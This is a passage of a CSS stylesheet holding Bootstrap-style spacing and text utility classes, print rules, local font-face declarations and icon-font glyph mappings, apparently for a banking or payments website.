.px-sm-3 {
padding-right: 1rem !important
}
.pb-sm-3,
.py-sm-3 {
padding-bottom: 1rem !important
}
.pl-sm-3,
.px-sm-3 {
padding-left: 1rem !important
}
.p-sm-4 {
padding: 1.5rem !important
}
.pt-sm-4,
.py-sm-4 {
padding-top: 1.5rem !important
}
.pr-sm-4,
.px-sm-4 {
padding-right: 1.5rem !important
}
.pb-sm-4,
.py-sm-4 {
padding-bottom: 1.5rem !important
}
.pl-sm-4,
.px-sm-4 {
padding-left: 1.5rem !important
}
.p-sm-5 {
padding: 3rem !important
}
.pt-sm-5,
.py-sm-5 {
padding-top: 3rem !important
}
.pr-sm-5,
.px-sm-5 {
padding-right: 3rem !important
}
.pb-sm-5,
.py-sm-5 {
padding-bottom: 3rem !important
}
.pl-sm-5,
.px-sm-5 {
padding-left: 3rem !important
}
.m-sm-n1 {
margin: -.25rem !important
}
.mt-sm-n1,
.my-sm-n1 {
margin-top: -.25rem !important
}
.mr-sm-n1,
.mx-sm-n1 {
margin-right: -.25rem !important
}
.mb-sm-n1,
.my-sm-n1 {
margin-bottom: -.25rem !important
}
.ml-sm-n1,
.mx-sm-n1 {
margin-left: -.25rem !important
}
.m-sm-n2 {
margin: -.5rem !important
}
.mt-sm-n2,
.my-sm-n2 {
margin-top: -.5rem !important
}
.mr-sm-n2,
.mx-sm-n2 {
margin-right: -.5rem !important
}
.mb-sm-n2,
.my-sm-n2 {
margin-bottom: -.5rem !important
}
.ml-sm-n2,
.mx-sm-n2 {
margin-left: -.5rem !important
}
.m-sm-n3 {
margin: -1rem !important
}
.mt-sm-n3,
.my-sm-n3 {
margin-top: -1rem !important
}
.mr-sm-n3,
.mx-sm-n3 {
margin-right: -1rem !important
}
.mb-sm-n3,
.my-sm-n3 {
margin-bottom: -1rem !important
}
.ml-sm-n3,
.mx-sm-n3 {
margin-left: -1rem !important
}
.m-sm-n4 {
margin: -1.5rem !important
}
.mt-sm-n4,
.my-sm-n4 {
margin-top: -1.5rem !important
}
.mr-sm-n4,
.mx-sm-n4 {
margin-right: -1.5rem !important
}
.mb-sm-n4,
.my-sm-n4 {
margin-bottom: -1.5rem !important
}
.ml-sm-n4,
.mx-sm-n4 {
margin-left: -1.5rem !important
}
.m-sm-n5 {
margin: -3rem !important
}
.mt-sm-n5,
.my-sm-n5 {
margin-top: -3rem !important
}
.mr-sm-n5,
.mx-sm-n5 {
margin-right: -3rem !important
}
.mb-sm-n5,
.my-sm-n5 {
margin-bottom: -3rem !important
}
.ml-sm-n5,
.mx-sm-n5 {
margin-left: -3rem !important
}
.m-sm-auto {
margin: auto !important
}
.mt-sm-auto,
.my-sm-auto {
margin-top: auto !important
}
.mr-sm-auto,
.mx-sm-auto {
margin-right: auto !important
}
.mb-sm-auto,
.my-sm-auto {
margin-bottom: auto !important
}
.ml-sm-auto,
.mx-sm-auto {
margin-left: auto !important
}
}
@media (min-width: 768px) {
.m-md-0 {
margin: 0 !important
}
.mt-md-0,
.my-md-0 {
margin-top: 0 !important
}
.mr-md-0,
.mx-md-0 {
margin-right: 0 !important
}
.mb-md-0,
.my-md-0 {
margin-bottom: 0 !important
}
.ml-md-0,
.mx-md-0 {
margin-left: 0 !important
}
.m-md-1 {
margin: .25rem !important
}
.mt-md-1,
.my-md-1 {
margin-top: .25rem !important
}
.mr-md-1,
.mx-md-1 {
margin-right: .25rem !important
}
.mb-md-1,
.my-md-1 {
margin-bottom: .25rem !important
}
.ml-md-1,
.mx-md-1 {
margin-left: .25rem !important
}
.m-md-2 {
margin: .5rem !important
}
.mt-md-2,
.my-md-2 {
margin-top: .5rem !important
}
.mr-md-2,
.mx-md-2 {
margin-right: .5rem !important
}
.mb-md-2,
.my-md-2 {
margin-bottom: .5rem !important
}
.ml-md-2,
.mx-md-2 {
margin-left: .5rem !important
}
.m-md-3 {
margin: 1rem !important
}
.mt-md-3,
.my-md-3 {
margin-top: 1rem !important
}
.mr-md-3,
.mx-md-3 {
margin-right: 1rem !important
}
.mb-md-3,
.my-md-3 {
margin-bottom: 1rem !important
}
.ml-md-3,
.mx-md-3 {
margin-left: 1rem !important
}
.m-md-4 {
margin: 1.5rem !important
}
.mt-md-4,
.my-md-4 {
margin-top: 1.5rem !important
}
.mr-md-4,
.mx-md-4 {
margin-right: 1.5rem !important
}
.mb-md-4,
.my-md-4 {
margin-bottom: 1.5rem !important
}
.ml-md-4,
.mx-md-4 {
margin-left: 1.5rem !important
}
.m-md-5 {
margin: 3rem !important
}
.mt-md-5,
.my-md-5 {
margin-top: 3rem !important
}
.mr-md-5,
.mx-md-5 {
margin-right: 3rem !important
}
.mb-md-5,
.my-md-5 {
margin-bottom: 3rem !important
}
.ml-md-5,
.mx-md-5 {
margin-left: 3rem !important
}
.p-md-0 {
padding: 0 !important
}
.pt-md-0,
.py-md-0 {
padding-top: 0 !important
}
.pr-md-0,
.px-md-0 {
padding-right: 0 !important
}
.pb-md-0,
.py-md-0 {
padding-bottom: 0 !important
}
.pl-md-0,
.px-md-0 {
padding-left: 0 !important
}
.p-md-1 {
padding: .25rem !important
}
.pt-md-1,
.py-md-1 {
padding-top: .25rem !important
}
.pr-md-1,
.px-md-1 {
padding-right: .25rem !important
}
.pb-md-1,
.py-md-1 {
padding-bottom: .25rem !important
}
.pl-md-1,
.px-md-1 {
padding-left: .25rem !important
}
.p-md-2 {
padding: .5rem !important
}
.pt-md-2,
.py-md-2 {
padding-top: .5rem !important
}
.pr-md-2,
.px-md-2 {
padding-right: .5rem !important
}
.pb-md-2,
.py-md-2 {
padding-bottom: .5rem !important
}
.pl-md-2,
.px-md-2 {
padding-left: .5rem !important
}
.p-md-3 {
padding: 1rem !important
}
.pt-md-3,
.py-md-3 {
padding-top: 1rem !important
}
.pr-md-3,
.px-md-3 {
padding-right: 1rem !important
}
.pb-md-3,
.py-md-3 {
padding-bottom: 1rem !important
}
.pl-md-3,
.px-md-3 {
padding-left: 1rem !important
}
.p-md-4 {
padding: 1.5rem !important
}
.pt-md-4,
.py-md-4 {
padding-top: 1.5rem !important
}
.pr-md-4,
.px-md-4 {
padding-right: 1.5rem !important
}
.pb-md-4,
.py-md-4 {
padding-bottom: 1.5rem !important
}
.pl-md-4,
.px-md-4 {
padding-left: 1.5rem !important
}
.p-md-5 {
padding: 3rem !important
}
.pt-md-5,
.py-md-5 {
padding-top: 3rem !important
}
.pr-md-5,
.px-md-5 {
padding-right: 3rem !important
}
.pb-md-5,
.py-md-5 {
padding-bottom: 3rem !important
}
.pl-md-5,
.px-md-5 {
padding-left: 3rem !important
}
.m-md-n1 {
margin: -.25rem !important
}
.mt-md-n1,
.my-md-n1 {
margin-top: -.25rem !important
}
.mr-md-n1,
.mx-md-n1 {
margin-right: -.25rem !important
}
.mb-md-n1,
.my-md-n1 {
margin-bottom: -.25rem !important
}
.ml-md-n1,
.mx-md-n1 {
margin-left: -.25rem !important
}
.m-md-n2 {
margin: -.5rem !important
}
.mt-md-n2,
.my-md-n2 {
margin-top: -.5rem !important
}
.mr-md-n2,
.mx-md-n2 {
margin-right: -.5rem !important
}
.mb-md-n2,
.my-md-n2 {
margin-bottom: -.5rem !important
}
.ml-md-n2,
.mx-md-n2 {
margin-left: -.5rem !important
}
.m-md-n3 {
margin: -1rem !important
}
.mt-md-n3,
.my-md-n3 {
margin-top: -1rem !important
}
.mr-md-n3,
.mx-md-n3 {
margin-right: -1rem !important
}
.mb-md-n3,
.my-md-n3 {
margin-bottom: -1rem !important
}
.ml-md-n3,
.mx-md-n3 {
margin-left: -1rem !important
}
.m-md-n4 {
margin: -1.5rem !important
}
.mt-md-n4,
.my-md-n4 {
margin-top: -1.5rem !important
}
.mr-md-n4,
.mx-md-n4 {
margin-right: -1.5rem !important
}
.mb-md-n4,
.my-md-n4 {
margin-bottom: -1.5rem !important
}
.ml-md-n4,
.mx-md-n4 {
margin-left: -1.5rem !important
}
.m-md-n5 {
margin: -3rem !important
}
.mt-md-n5,
.my-md-n5 {
margin-top: -3rem !important
}
.mr-md-n5,
.mx-md-n5 {
margin-right: -3rem !important
}
.mb-md-n5,
.my-md-n5 {
margin-bottom: -3rem !important
}
.ml-md-n5,
.mx-md-n5 {
margin-left: -3rem !important
}
.m-md-auto {
margin: auto !important
}
.mt-md-auto,
.my-md-auto {
margin-top: auto !important
}
.mr-md-auto,
.mx-md-auto {
margin-right: auto !important
}
.mb-md-auto,
.my-md-auto {
margin-bottom: auto !important
}
.ml-md-auto,
.mx-md-auto {
margin-left: auto !important
}
}
@media (min-width: 992px) {
.m-lg-0 {
margin: 0 !important
}
.mt-lg-0,
.my-lg-0 {
margin-top: 0 !important
}
.mr-lg-0,
.mx-lg-0 {
margin-right: 0 !important
}
.mb-lg-0,
.my-lg-0 {
margin-bottom: 0 !important
}
.ml-lg-0,
.mx-lg-0 {
margin-left: 0 !important
}
.m-lg-1 {
margin: .25rem !important
}
.mt-lg-1,
.my-lg-1 {
margin-top: .25rem !important
}
.mr-lg-1,
.mx-lg-1 {
margin-right: .25rem !important
}
.mb-lg-1,
.my-lg-1 {
margin-bottom: .25rem !important
}
.ml-lg-1,
.mx-lg-1 {
margin-left: .25rem !important
}
.m-lg-2 {
margin: .5rem !important
}
.mt-lg-2,
.my-lg-2 {
margin-top: .5rem !important
}
.mr-lg-2,
.mx-lg-2 {
margin-right: .5rem !important
}
.mb-lg-2,
.my-lg-2 {
margin-bottom: .5rem !important
}
.ml-lg-2,
.mx-lg-2 {
margin-left: .5rem !important
}
.m-lg-3 {
margin: 1rem !important
}
.mt-lg-3,
.my-lg-3 {
margin-top: 1rem !important
}
.mr-lg-3,
.mx-lg-3 {
margin-right: 1rem !important
}
.mb-lg-3,
.my-lg-3 {
margin-bottom: 1rem !important
}
.ml-lg-3,
.mx-lg-3 {
margin-left: 1rem !important
}
.m-lg-4 {
margin: 1.5rem !important
}
.mt-lg-4,
.my-lg-4 {
margin-top: 1.5rem !important
}
.mr-lg-4,
.mx-lg-4 {
margin-right: 1.5rem !important
}
.mb-lg-4,
.my-lg-4 {
margin-bottom: 1.5rem !important
}
.ml-lg-4,
.mx-lg-4 {
margin-left: 1.5rem !important
}
.m-lg-5 {
margin: 3rem !important
}
.mt-lg-5,
.my-lg-5 {
margin-top: 3rem !important
}
.mr-lg-5,
.mx-lg-5 {
margin-right: 3rem !important
}
.mb-lg-5,
.my-lg-5 {
margin-bottom: 3rem !important
}
.ml-lg-5,
.mx-lg-5 {
margin-left: 3rem !important
}
.p-lg-0 {
padding: 0 !important
}
.pt-lg-0,
.py-lg-0 {
padding-top: 0 !important
}
.pr-lg-0,
.px-lg-0 {
padding-right: 0 !important
}
.pb-lg-0,
.py-lg-0 {
padding-bottom: 0 !important
}
.pl-lg-0,
.px-lg-0 {
padding-left: 0 !important
}
.p-lg-1 {
padding: .25rem !important
}
.pt-lg-1,
.py-lg-1 {
padding-top: .25rem !important
}
.pr-lg-1,
.px-lg-1 {
padding-right: .25rem !important
}
.pb-lg-1,
.py-lg-1 {
padding-bottom: .25rem !important
}
.pl-lg-1,
.px-lg-1 {
padding-left: .25rem !important
}
.p-lg-2 {
padding: .5rem !important
}
.pt-lg-2,
.py-lg-2 {
padding-top: .5rem !important
}
.pr-lg-2,
.px-lg-2 {
padding-right: .5rem !important
}
.pb-lg-2,
.py-lg-2 {
padding-bottom: .5rem !important
}
.pl-lg-2,
.px-lg-2 {
padding-left: .5rem !important
}
.p-lg-3 {
padding: 1rem !important
}
.pt-lg-3,
.py-lg-3 {
padding-top: 1rem !important
}
.pr-lg-3,
.px-lg-3 {
padding-right: 1rem !important
}
.pb-lg-3,
.py-lg-3 {
padding-bottom: 1rem !important
}
.pl-lg-3,
.px-lg-3 {
padding-left: 1rem !important
}
.p-lg-4 {
padding: 1.5rem !important
}
.pt-lg-4,
.py-lg-4 {
padding-top: 1.5rem !important
}
.pr-lg-4,
.px-lg-4 {
padding-right: 1.5rem !important
}
.pb-lg-4,
.py-lg-4 {
padding-bottom: 1.5rem !important
}
.pl-lg-4,
.px-lg-4 {
padding-left: 1.5rem !important
}
.p-lg-5 {
padding: 3rem !important
}
.pt-lg-5,
.py-lg-5 {
padding-top: 3rem !important
}
.pr-lg-5,
.px-lg-5 {
padding-right: 3rem !important
}
.pb-lg-5,
.py-lg-5 {
padding-bottom: 3rem !important
}
.pl-lg-5,
.px-lg-5 {
padding-left: 3rem !important
}
.m-lg-n1 {
margin: -.25rem !important
}
.mt-lg-n1,
.my-lg-n1 {
margin-top: -.25rem !important
}
.mr-lg-n1,
.mx-lg-n1 {
margin-right: -.25rem !important
}
.mb-lg-n1,
.my-lg-n1 {
margin-bottom: -.25rem !important
}
.ml-lg-n1,
.mx-lg-n1 {
margin-left: -.25rem !important
}
.m-lg-n2 {
margin: -.5rem !important
}
.mt-lg-n2,
.my-lg-n2 {
margin-top: -.5rem !important
}
.mr-lg-n2,
.mx-lg-n2 {
margin-right: -.5rem !important
}
.mb-lg-n2,
.my-lg-n2 {
margin-bottom: -.5rem !important
}
.ml-lg-n2,
.mx-lg-n2 {
margin-left: -.5rem !important
}
.m-lg-n3 {
margin: -1rem !important
}
.mt-lg-n3,
.my-lg-n3 {
margin-top: -1rem !important
}
.mr-lg-n3,
.mx-lg-n3 {
margin-right: -1rem !important
}
.mb-lg-n3,
.my-lg-n3 {
margin-bottom: -1rem !important
}
.ml-lg-n3,
.mx-lg-n3 {
margin-left: -1rem !important
}
.m-lg-n4 {
margin: -1.5rem !important
}
.mt-lg-n4,
.my-lg-n4 {
margin-top: -1.5rem !important
}
.mr-lg-n4,
.mx-lg-n4 {
margin-right: -1.5rem !important
}
.mb-lg-n4,
.my-lg-n4 {
margin-bottom: -1.5rem !important
}
.ml-lg-n4,
.mx-lg-n4 {
margin-left: -1.5rem !important
}
.m-lg-n5 {
margin: -3rem !important
}
.mt-lg-n5,
.my-lg-n5 {
margin-top: -3rem !important
}
.mr-lg-n5,
.mx-lg-n5 {
margin-right: -3rem !important
}
.mb-lg-n5,
.my-lg-n5 {
margin-bottom: -3rem !important
}
.ml-lg-n5,
.mx-lg-n5 {
margin-left: -3rem !important
}
.m-lg-auto {
margin: auto !important
}
.mt-lg-auto,
.my-lg-auto {
margin-top: auto !important
}
.mr-lg-auto,
.mx-lg-auto {
margin-right: auto !important
}
.mb-lg-auto,
.my-lg-auto {
margin-bottom: auto !important
}
.ml-lg-auto,
.mx-lg-auto {
margin-left: auto !important
}
}
@media (min-width: 1200px) {
.m-xl-0 {
margin: 0 !important
}
.mt-xl-0,
.my-xl-0 {
margin-top: 0 !important
}
.mr-xl-0,
.mx-xl-0 {
margin-right: 0 !important
}
.mb-xl-0,
.my-xl-0 {
margin-bottom: 0 !important
}
.ml-xl-0,
.mx-xl-0 {
margin-left: 0 !important
}
.m-xl-1 {
margin: .25rem !important
}
.mt-xl-1,
.my-xl-1 {
margin-top: .25rem !important
}
.mr-xl-1,
.mx-xl-1 {
margin-right: .25rem !important
}
.mb-xl-1,
.my-xl-1 {
margin-bottom: .25rem !important
}
.ml-xl-1,
.mx-xl-1 {
margin-left: .25rem !important
}
.m-xl-2 {
margin: .5rem !important
}
.mt-xl-2,
.my-xl-2 {
margin-top: .5rem !important
}
.mr-xl-2,
.mx-xl-2 {
margin-right: .5rem !important
}
.mb-xl-2,
.my-xl-2 {
margin-bottom: .5rem !important
}
.ml-xl-2,
.mx-xl-2 {
margin-left: .5rem !important
}
.m-xl-3 {
margin: 1rem !important
}
.mt-xl-3,
.my-xl-3 {
margin-top: 1rem !important
}
.mr-xl-3,
.mx-xl-3 {
margin-right: 1rem !important
}
.mb-xl-3,
.my-xl-3 {
margin-bottom: 1rem !important
}
.ml-xl-3,
.mx-xl-3 {
margin-left: 1rem !important
}
.m-xl-4 {
margin: 1.5rem !important
}
.mt-xl-4,
.my-xl-4 {
margin-top: 1.5rem !important
}
.mr-xl-4,
.mx-xl-4 {
margin-right: 1.5rem !important
}
.mb-xl-4,
.my-xl-4 {
margin-bottom: 1.5rem !important
}
.ml-xl-4,
.mx-xl-4 {
margin-left: 1.5rem !important
}
.m-xl-5 {
margin: 3rem !important
}
.mt-xl-5,
.my-xl-5 {
margin-top: 3rem !important
}
.mr-xl-5,
.mx-xl-5 {
margin-right: 3rem !important
}
.mb-xl-5,
.my-xl-5 {
margin-bottom: 3rem !important
}
.ml-xl-5,
.mx-xl-5 {
margin-left: 3rem !important
}
.p-xl-0 {
padding: 0 !important
}
.pt-xl-0,
.py-xl-0 {
padding-top: 0 !important
}
.pr-xl-0,
.px-xl-0 {
padding-right: 0 !important
}
.pb-xl-0,
.py-xl-0 {
padding-bottom: 0 !important
}
.pl-xl-0,
.px-xl-0 {
padding-left: 0 !important
}
.p-xl-1 {
padding: .25rem !important
}
.pt-xl-1,
.py-xl-1 {
padding-top: .25rem !important
}
.pr-xl-1,
.px-xl-1 {
padding-right: .25rem !important
}
.pb-xl-1,
.py-xl-1 {
padding-bottom: .25rem !important
}
.pl-xl-1,
.px-xl-1 {
padding-left: .25rem !important
}
.p-xl-2 {
padding: .5rem !important
}
.pt-xl-2,
.py-xl-2 {
padding-top: .5rem !important
}
.pr-xl-2,
.px-xl-2 {
padding-right: .5rem !important
}
.pb-xl-2,
.py-xl-2 {
padding-bottom: .5rem !important
}
.pl-xl-2,
.px-xl-2 {
padding-left: .5rem !important
}
.p-xl-3 {
padding: 1rem !important
}
.pt-xl-3,
.py-xl-3 {
padding-top: 1rem !important
}
.pr-xl-3,
.px-xl-3 {
padding-right: 1rem !important
}
.pb-xl-3,
.py-xl-3 {
padding-bottom: 1rem !important
}
.pl-xl-3,
.px-xl-3 {
padding-left: 1rem !important
}
.p-xl-4 {
padding: 1.5rem !important
}
.pt-xl-4,
.py-xl-4 {
padding-top: 1.5rem !important
}
.pr-xl-4,
.px-xl-4 {
padding-right: 1.5rem !important
}
.pb-xl-4,
.py-xl-4 {
padding-bottom: 1.5rem !important
}
.pl-xl-4,
.px-xl-4 {
padding-left: 1.5rem !important
}
.p-xl-5 {
padding: 3rem !important
}
.pt-xl-5,
.py-xl-5 {
padding-top: 3rem !important
}
.pr-xl-5,
.px-xl-5 {
padding-right: 3rem !important
}
.pb-xl-5,
.py-xl-5 {
padding-bottom: 3rem !important
}
.pl-xl-5,
.px-xl-5 {
padding-left: 3rem !important
}
.m-xl-n1 {
margin: -.25rem !important
}
.mt-xl-n1,
.my-xl-n1 {
margin-top: -.25rem !important
}
.mr-xl-n1,
.mx-xl-n1 {
margin-right: -.25rem !important
}
.mb-xl-n1,
.my-xl-n1 {
margin-bottom: -.25rem !important
}
.ml-xl-n1,
.mx-xl-n1 {
margin-left: -.25rem !important
}
.m-xl-n2 {
margin: -.5rem !important
}
.mt-xl-n2,
.my-xl-n2 {
margin-top: -.5rem !important
}
.mr-xl-n2,
.mx-xl-n2 {
margin-right: -.5rem !important
}
.mb-xl-n2,
.my-xl-n2 {
margin-bottom: -.5rem !important
}
.ml-xl-n2,
.mx-xl-n2 {
margin-left: -.5rem !important
}
.m-xl-n3 {
margin: -1rem !important
}
.mt-xl-n3,
.my-xl-n3 {
margin-top: -1rem !important
}
.mr-xl-n3,
.mx-xl-n3 {
margin-right: -1rem !important
}
.mb-xl-n3,
.my-xl-n3 {
margin-bottom: -1rem !important
}
.ml-xl-n3,
.mx-xl-n3 {
margin-left: -1rem !important
}
.m-xl-n4 {
margin: -1.5rem !important
}
.mt-xl-n4,
.my-xl-n4 {
margin-top: -1.5rem !important
}
.mr-xl-n4,
.mx-xl-n4 {
margin-right: -1.5rem !important
}
.mb-xl-n4,
.my-xl-n4 {
margin-bottom: -1.5rem !important
}
.ml-xl-n4,
.mx-xl-n4 {
margin-left: -1.5rem !important
}
.m-xl-n5 {
margin: -3rem !important
}
.mt-xl-n5,
.my-xl-n5 {
margin-top: -3rem !important
}
.mr-xl-n5,
.mx-xl-n5 {
margin-right: -3rem !important
}
.mb-xl-n5,
.my-xl-n5 {
margin-bottom: -3rem !important
}
.ml-xl-n5,
.mx-xl-n5 {
margin-left: -3rem !important
}
.m-xl-auto {
margin: auto !important
}
.mt-xl-auto,
.my-xl-auto {
margin-top: auto !important
}
.mr-xl-auto,
.mx-xl-auto {
margin-right: auto !important
}
.mb-xl-auto,
.my-xl-auto {
margin-bottom: auto !important
}
.ml-xl-auto,
.mx-xl-auto {
margin-left: auto !important
}
}
.stretched-link:after {
position: absolute;
inset: 0;
z-index: 1;
pointer-events: auto;
content: "";
background-color: #0000
}
.text-monospace {
font-family: SFMono-Regular, Menlo, Monaco, Consolas, Liberation Mono, Courier New, monospace !important
}
.text-justify {
text-align: justify !important
}
.text-wrap {
white-space: normal !important
}
.text-nowrap {
white-space: nowrap !important
}
.text-truncate {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
.text-left {
text-align: left !important
}
.text-right {
text-align: right !important
}
.text-center {
text-align: center !important
}
@media (min-width: 576px) {
.text-sm-left {
text-align: left !important
}
.text-sm-right {
text-align: right !important
}
.text-sm-center {
text-align: center !important
}
}
@media (min-width: 768px) {
.text-md-left {
text-align: left !important
}
.text-md-right {
text-align: right !important
}
.text-md-center {
text-align: center !important
}
}
@media (min-width: 992px) {
.text-lg-left {
text-align: left !important
}
.text-lg-right {
text-align: right !important
}
.text-lg-center {
text-align: center !important
}
}
@media (min-width: 1200px) {
.text-xl-left {
text-align: left !important
}
.text-xl-right {
text-align: right !important
}
.text-xl-center {
text-align: center !important
}
}
.text-lowercase {
text-transform: lowercase !important
}
.text-uppercase {
text-transform: uppercase !important
}
.text-capitalize {
text-transform: capitalize !important
}
.font-weight-light {
font-weight: 300 !important
}
.font-weight-lighter {
font-weight: lighter !important
}
.font-weight-normal {
font-weight: 400 !important
}
.font-weight-bold {
font-weight: 700 !important
}
.font-weight-bolder {
font-weight: bolder !important
}
.font-italic {
font-style: italic !important
}
.text-white {
color: #fff !important
}
.text-primary {
color: #007bff !important
}
a.text-primary:hover,
a.text-primary:focus {
color: #0056b3 !important
}
.text-secondary {
color: #6c757d !important
}
a.text-secondary:hover,
a.text-secondary:focus {
color: #494f54 !important
}
.text-success {
color: #6ac90f !important
}
a.text-success:hover,
a.text-success:focus {
color: #44820a !important
}
.text-info {
color: #17a2b8 !important
}
a.text-info:hover,
a.text-info:focus {
color: #0f6674 !important
}
.text-warning {
color: #ffc107 !important
}
a.text-warning:hover,
a.text-warning:focus {
color: #ba8b00 !important
}
.text-danger {
color: #dc3545 !important
}
a.text-danger:hover,
a.text-danger:focus {
color: #a71d2a !important
}
.text-light {
color: #f8f9fa !important
}
a.text-light:hover,
a.text-light:focus {
color: #cbd3da !important
}
.text-dark {
color: #343a40 !important
}
a.text-dark:hover,
a.text-dark:focus {
color: #121416 !important
}
.text-body {
color: #212529 !important
}
.text-muted {
color: #6c757d !important
}
.text-black-50 {
color: #00000080 !important
}
.text-white-50 {
color: #ffffff80 !important
}
.text-hide {
font: 0/0 a;
color: transparent;
text-shadow: none;
background-color: transparent;
border: 0
}
.text-decoration-none {
text-decoration: none !important
}
.text-break {
word-break: break-word !important;
word-wrap: break-word !important
}
.text-reset {
color: inherit !important
}
.visible {
visibility: visible !important
}
.invisible {
visibility: hidden !important
}
@media print {
*,
*:before,
*:after {
text-shadow: none !important;
box-shadow: none !important
}
a:not(.btn) {
text-decoration: underline
}
abbr[title]:after {
content: " (" attr(title) ")"
}
pre {
white-space: pre-wrap !important
}
pre,
blockquote {
border: 1px solid #adb5bd;
page-break-inside: avoid
}
tr,
img {
page-break-inside: avoid
}
p,
h2,
h3 {
orphans: 3;
widows: 3
}
h2,
h3 {
page-break-after: avoid
}
@page {
size: a3
}
body,
.container {
min-width: 992px !important
}
.navbar {
display: none
}
.badge {
border: 1px solid #000000
}
.table {
border-collapse: collapse !important
}
.table td,
.table th {
background-color: #fff !important
}
.table-bordered th,
.table-bordered td {
border: 1px solid #dee2e6 !important
}
.table-dark {
color: inherit
}
.table-dark th,
.table-dark td,
.table-dark thead th,
.table-dark tbody+tbody {
border-color: #dee2e6
}
.table .thead-dark th {
color: inherit;
border-color: #dee2e6
}
}
@font-face {
font-family: Flexo-Bold;
font-weight: 400;
src: url(/assets/fonts/flexo/242863_E_0.eot), url(/assets/fonts/flexo/242863_E_0.eot);
src: url(/assets/fonts/flexo/242863_E_0.eot?#iefix) format("embedded-opentype"), url(/assets/fonts/flexo/242863_E_0.eot?#iefix) format("embedded-opentype"), url(/assets/fonts/flexo/242863_E_0.woff2) format("woff2"), url(/assets/fonts/flexo/242863_E_0.woff2) format("woff2"), url(/assets/fonts/flexo/242863_E_0.woff) format("woff"), url(/assets/fonts/flexo/242863_E_0.woff) format("woff"), url(/assets/fonts/flexo/242863_E_0.ttf) format("truetype"), url(/assets/fonts/flexo/242863_E_0.ttf) format("truetype");
font-display: swap
}
@font-face {
font-family: Flexo-Demi;
font-weight: 400;
src: url(/assets/fonts/flexo/242863_C_0.eot), url(/assets/fonts/flexo/242863_C_0.eot);
src: url(/assets/fonts/flexo/242863_C_0.eot?#iefix) format("embedded-opentype"), url(/assets/fonts/flexo/242863_C_0.eot?#iefix) format("embedded-opentype"), url(/assets/fonts/flexo/242863_C_0.woff2) format("woff2"), url(/assets/fonts/flexo/242863_C_0.woff2) format("woff2"), url(/assets/fonts/flexo/242863_C_0.woff) format("woff"), url(/assets/fonts/flexo/242863_C_0.woff) format("woff"), url(/assets/fonts/flexo/242863_C_0.ttf) format("truetype"), url(/assets/fonts/flexo/242863_C_0.ttf) format("truetype");
font-display: swap
}
@font-face {
font-family: Flexo-Regular;
font-weight: 400;
src: url(/assets/fonts/flexo/242863_3_0.eot), url(/assets/fonts/flexo/242863_3_0.eot);
src: url(/assets/fonts/flexo/242863_3_0.eot?#iefix) format("embedded-opentype"), url(/assets/fonts/flexo/242863_3_0.eot?#iefix) format("embedded-opentype"), url(/assets/fonts/flexo/242863_3_0.woff2) format("woff2"), url(/assets/fonts/flexo/242863_3_0.woff2) format("woff2"), url(/assets/fonts/flexo/242863_3_0.woff) format("woff"), url(/assets/fonts/flexo/242863_3_0.woff) format("woff"), url(/assets/fonts/flexo/242863_3_0.ttf) format("truetype"), url(/assets/fonts/flexo/242863_3_0.ttf) format("truetype");
font-display: swap
}
@font-face {
font-family: icon;
src: url(/assets/fonts/icons/icons.eot), url(/assets/fonts/icons/icons.eot);
src: url(/assets/fonts/icons/icons.eot#iefix) format("embedded-opentype"), url(/assets/fonts/icons/icons.eot#iefix) format("embedded-opentype"), url(/assets/fonts/icons/icons.woff2) format("woff2"), url(/assets/fonts/icons/icons.woff2) format("woff2"), url(/assets/fonts/icons/icons.woff) format("woff"), url(/assets/fonts/icons/icons.woff) format("woff"), url(/assets/fonts/icons/icons.ttf) format("truetype"), url(/assets/fonts/icons/icons.ttf) format("truetype"), url(/assets/fonts/icons/icons.svg#icons) format("svg"), url(/assets/fonts/icons/icons.svg#icons) format("svg");
font-weight: 400;
font-style: normal
}
.icon {
font-family: icon, sans-serif;
display: inline-block;
line-height: 1;
font-weight: 400;
font-style: normal;
text-decoration: inherit;
text-transform: none;
text-rendering: auto;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale
}
.agency-b:before {
content: "\f101"
}
.agency-l:before {
content: "\f102"
}
.agency-r:before {
content: "\f103"
}
.airplane-b:before {
content: "\f104"
}
.airplane-l:before {
content: "\f105"
}
.airplane-r:before {
content: "\f106"
}
.android-b:before {
content: "\f107"
}
.angle-down-circle-b:before {
content: "\f108"
}
.angle-down-circle-r:before {
content: "\f109"
}
.angle-down-r:before {
content: "\f10a"
}
.angle-drop-down-r:before {
content: "\f10b"
}
.angle-drop-left-r:before {
content: "\f10c"
}
.angle-drop-right-r:before {
content: "\f10d"
}
.angle-drop-up-down-r:before {
content: "\f10e"
}
.angle-drop-up-r:before {
content: "\f10f"
}
.angle-left-r:before {
content: "\f110"
}
.angle-right-r:before {
content: "\f111"
}
.angle-up-r:before {
content: "\f112"
}
.arrow-down-r:before {
content: "\f113"
}
.arrow-full-screen-r:before {
content: "\f114"
}
.arrow-left-r:before {
content: "\f115"
}
.arrow-left-right-r:before {
content: "\f116"
}
.arrow-right-r:before {
content: "\f117"
}
.arrow-sort-down-r:before {
content: "\f118"
}
.arrow-sort-up-r:before {
content: "\f119"
}
.arrow-to-bottom-r:before {
content: "\f11a"
}
.arrow-to-up-r:before {
content: "\f11b"
}
.arrow-up-down-r:before {
content: "\f11c"
}
.arrow-up-r:before {
content: "\f11d"
}
.atm-b:before {
content: "\f11e"
}
.atm-l:before {
content: "\f11f"
}
.atm-r:before {
content: "\f120"
}
.atm-screen-b:before {
content: "\f121"
}
.atm-screen-l:before {
content: "\f122"
}
.atm-screen-r:before {
content: "\f123"
}
.backspace-b:before {
content: "\f124"
}
.backspace-l:before {
content: "\f125"
}
.backspace-r:before {
content: "\f126"
}
.badge-percent-b:before {
content: "\f127"
}
.badge-percent-l:before {
content: "\f128"
}
.badge-percent-r:before {
content: "\f129"
}
.ban-r:before {
content: "\f12a"
}
.bank-b:before {
content: "\f12b"
}
.bank-l:before {
content: "\f12c"
}
.bank-r:before {
content: "\f12d"
}
.bell-b:before {
content: "\f12e"
}
.bell-l:before {
content: "\f12f"
}
.bell-r:before {
content: "\f130"
}
.bill-b:before {
content: "\f131"
}
.bill-l:before {
content: "\f132"
}
.bill-r:before {
content: "\f133"
}
.book-b:before {
content: "\f134"
}
.book-l:before {
content: "\f135"
}
.book-r:before {
content: "\f136"
}
.box-b:before {
content: "\f137"
}
.box-l:before {
content: "\f138"
}
.box-r:before {
content: "\f139"
}
.broom-b:before {
content: "\f13a"
}
.broom-l:before {
content: "\f13b"
}
.broom-r:before {
content: "\f13c"
}
.building-b:before {
content: "\f13d"
}
.building-l:before {
